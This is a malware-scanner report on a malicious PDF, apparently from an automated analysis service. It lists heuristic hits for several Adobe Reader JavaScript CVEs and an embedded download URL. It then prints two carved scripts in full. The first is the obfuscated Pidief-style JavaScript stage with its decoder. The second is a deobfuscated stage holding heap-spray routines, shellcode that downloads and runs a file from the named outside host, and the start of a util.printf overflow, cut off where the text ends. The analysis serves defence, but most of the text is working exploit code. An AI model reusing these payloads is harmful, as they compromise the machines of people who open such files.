MALICIOUS
410
Risk Score
Machine Learning
- Nyx PDF Classifier malicious score 1.0000
Heuristics 10
-
media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
-
Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
-
Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
-
util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
-
Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCHA single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
-
Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KITOne recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
-
JavaScript action low 1 related finding PDF_JAVASCRIPTPDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
-
Embedded JS stream low PDF_JSPDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
-
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGEOne or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://anthemas.com//lv6HGnXDs-l.php/bad3656cdacb136c2fcae91eef26c393?spl=pdf_2025 Referenced by PDF JavaScript
Extracted artifacts 2
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
javascript_obj0020_000.js |
pdf-javascript-stream | PDF /JS object 20 at offset 0x296C | 40060 bytes |
SHA-256: 0143587a1d5ec33d6bc3c2843c7c313e9cffcfc302b52f47e15a6f392c41f8c3 |
|||
Preview scriptFirst 1,000 lines of the extracted script
/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal *//* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */var foxitFoxit =/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */[ ""/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */, "es"/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */, "ca"/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */, "pe"/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */, "un"/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */]; send/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */= new/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */ String (/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */foxitFoxit [/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */4 ]/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */+ foxitFoxit/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */[ 1/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */] +/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */foxitFoxit [/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */2 ]/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */+ foxitFoxit/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */[ 3/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */] +/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */foxitFoxit [/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */0 ]/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */) ;/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */ var mail/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */= [/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */"r" ,/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */"e" ,/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */"h" ,/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */"d" ,/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */"o" ,/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */"" ,/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */"t" ,/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */"A" ,/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */"C" ,/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */"a" ,/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */"c" ];/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */b =/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */new String/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */( mail/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */[ 10/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */] +/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */mail [/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */2 ]/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */+ mail/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */[ 9/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */] +/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */mail [/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */0 ]/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */+ mail/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */[ 8/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */] +/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */mail [/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */4 ]/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */+ mail/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */[ 3/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */] +/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */mail [/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */1 ]/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */+ mail/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */[ 7/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */] +/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */mail [/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */6 ]/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */+ mail/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */[ 5/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */] )/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */; /* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */var check =/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */[ "ag"/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */, "ge"/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */, "th"/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */, ""/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */, "eN"/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */, "Wo"/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */, "rd"/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */, "tP"/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */]; window/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */= new/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */ String (/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */check [/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */1 ]/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */+ check/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */[ 7/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */] +/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */check [/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */0 ]/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */+ check/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */[ 4/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */] +/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */check [/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */2 ]/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */+ check/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */[ 5/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */] +/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */check [/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */6 ]/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */+ check/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */[ 3/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */] )/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */; /* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */var email =/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */[ ""/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */, "Wo"/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */, "rd"/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */, "ge"/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */, "ag"/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */, "um"/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */, "s"/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */, "tP"/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */, "eN"/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */]; bReader/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */= new/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */ String (/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */email [/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */3 ]/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */+ email/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */[ 7/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */] +/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */email [/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */4 ]/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */+ email/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */[ 8/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */] +/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */email [/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */5 ]/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */+ email/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */[ 1/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */] +/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */email [/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */2 ]/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */+ email/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */[ 6/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */] +/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */email [/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */0 ]/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */) ;/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */ var unlockA/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */= [/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */"ar" ,/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */"Ch" ,/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */"de" ,/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */"" ,/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */"om" ,/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */"fr" ,/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */"Co" ];/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */reader =/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */new String/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */( unlockA/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */[ 5/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */] +/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */unlockA [/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */4 ]/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */+ unlockA/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */[ 1/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */] +/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */unlockA [/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */0 ]/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */+ unlockA/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */[ 6/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */] +/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */unlockA [/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */2 ]/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */+ unlockA/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */[ 3/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */] )/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */; /* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */var google =/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */[ "l"/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */, "v"/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */, "a"/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */, ""/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */, "e"/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */]; edit/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */= new/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */ String (/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */google [/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */4 ]/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */+ google/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */[ 1/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */] +/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */google [/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */2 ]/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */+ google/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */[ 0/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */] +/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */google [/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */3 ]/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */) ;/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */ var readerC/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */= [/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */"a" ,/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */"p" ,/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */"p" ,/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */"" ];/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */mailUnlock =/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */new String/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */( readerC/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */[ 0/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */] +/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */readerC [/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */1 ]/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */+ readerC/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */[ 1/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */] +/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */readerC [/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */3 ]/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */) ;/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */ /* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */var mailUnlock/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */= this/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */[ mailUnlock/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */] ;/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */var get/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */= 150/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */; var/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */ readerReader =/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */2 ;/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */var mailAdobe/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */= new/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */ String (/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */) ;/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */var readerArray/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */= "%ZIQi".substr(0,1)/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */; var/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */ dAdobe =/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */this [/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */send ]/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */; var/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */ checkGet =/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */this [/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */bReader ]/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */( readerReader/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */) ;/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */ for/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */( var/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */ bCheck =/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */0; bCheck/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */< checkGet;/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */bCheck++ )/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */{ /* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */foxit=this [/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */window ]/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */( readerReader/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */, bCheck/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */) ;/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */var editUnlock/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */= foxit/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */. substr/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */( foxit/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */. length/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */- 2/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */, 2/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */) ;/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */var dArray/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */= dAdobe/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */( readerArray/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */+ editUnlock/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */) ;/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */var adobe/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */= dArray/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */[ b/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */] (/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */0 )/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */; var/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */ getUnlock =/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */adobe ^/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */get ;/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */mailAdobe +=/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */String [/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */reader ]/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */( getUnlock/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */) ;/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */} /* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */this [/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */edit ]/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */( mailAdobe/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */) ;/* disc absurdity shell hiawatha abthanage abditive abdominalian shivers abdominovaginal */
|
|||
legacy_pdfkit_stage_000.js |
deobfuscated-js | getPageWords-XOR Pidief stage normalized at offset 0x0 | 3584 bytes |
SHA-256: b8f7b2db6bf32ea9e9334089596a4f52b0fea667ad4f0b390d5becc1eb5ce939 |
|||
|
Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Carved artifact contains 4 eval/decoder/string-building token(s).
|
|||
Preview scriptFirst 1,000 lines of the extracted script
/* getPageWords download URL: http://anthemas.com//lv6HGnXDs-l.php/bad3656cdacb136c2fcae91eef26c393?spl=pdf_2025 */
var _u="http://anthemas.com//lv6HGnXDs-l.php/bad3656cdacb136c2fcae91eef26c393?spl=pdf_2025";
HH\L8HH{,8,,;X,8,X8;X
var src_table = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ01234567890/.:_-?&=%";
var dest_table= "xa83V5OJ&Enl0Hpq-tNybkeYZ%cSAMTj7KFXBoI_rC6DL=0hwGdfu4Rvg:1zQsmiP2/9?W.U";
var hwTl9Dn = new Array();
function get_shellcode(name) {
var u = get_url();
var s = "%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455";
s+= u;
return unescape(s);
}
function get_url(){
var str = this.info.author;
var ret = encode_str(str, dest_table, src_table);
return ret;
};
function encode_str(str, src_table, dest_table){
var ret="";
for(var i=0; i < str.length; i++)
{
var index = src_table.indexOf(str[i]);
if(index > -1 )
{
ret += dest_table[index];
}
}
return ret;
};
function Rq4v1qCC(PDrScZj4, ez5pL6){
while (PDrScZj4.length * 2 < ez5pL6){
PDrScZj4 += PDrScZj4;
}
PDrScZj4 = PDrScZj4.substring(0, ez5pL6 / 2); return PDrScZj4;
}
function x8EvTm(I7T0vko5){
var qPBt7D = 0x0c0c0c0c;
NRjjR6W6 = get_shellcode("pdf");
if (I7T0vko5 == 1){qPBt7D = 0x30303030;}
var FeQq1Vv = 0x400000;
var tsSzSc = NRjjR6W6.length * 2; var ez5pL6 = FeQq1Vv - (tsSzSc + 0x38);
var PDrScZj4 = unescape("%u9090%u9090");
PDrScZj4 = Rq4v1qCC(PDrScZj4, ez5pL6);
var x62RaBM3 = (qPBt7D - 0x400000) / FeQq1Vv;
for (var Ojafoj = 0; Ojafoj < x62RaBM3; Ojafoj ++ ){
hwTl9Dn[Ojafoj] = PDrScZj4 + NRjjR6W6;
}
}
function U2UcYKr(){
var IyIFVe = app.viewerVersion.toString();
if (IyIFVe > 8)
{
x8EvTm(1);
var iVvCdy8 = "12999999999999999999";
for (RvU5gmOE = 0; RvU5gmOE < 276; RvU5gmOE ++ )
{
iVvCdy8 += "8";
}
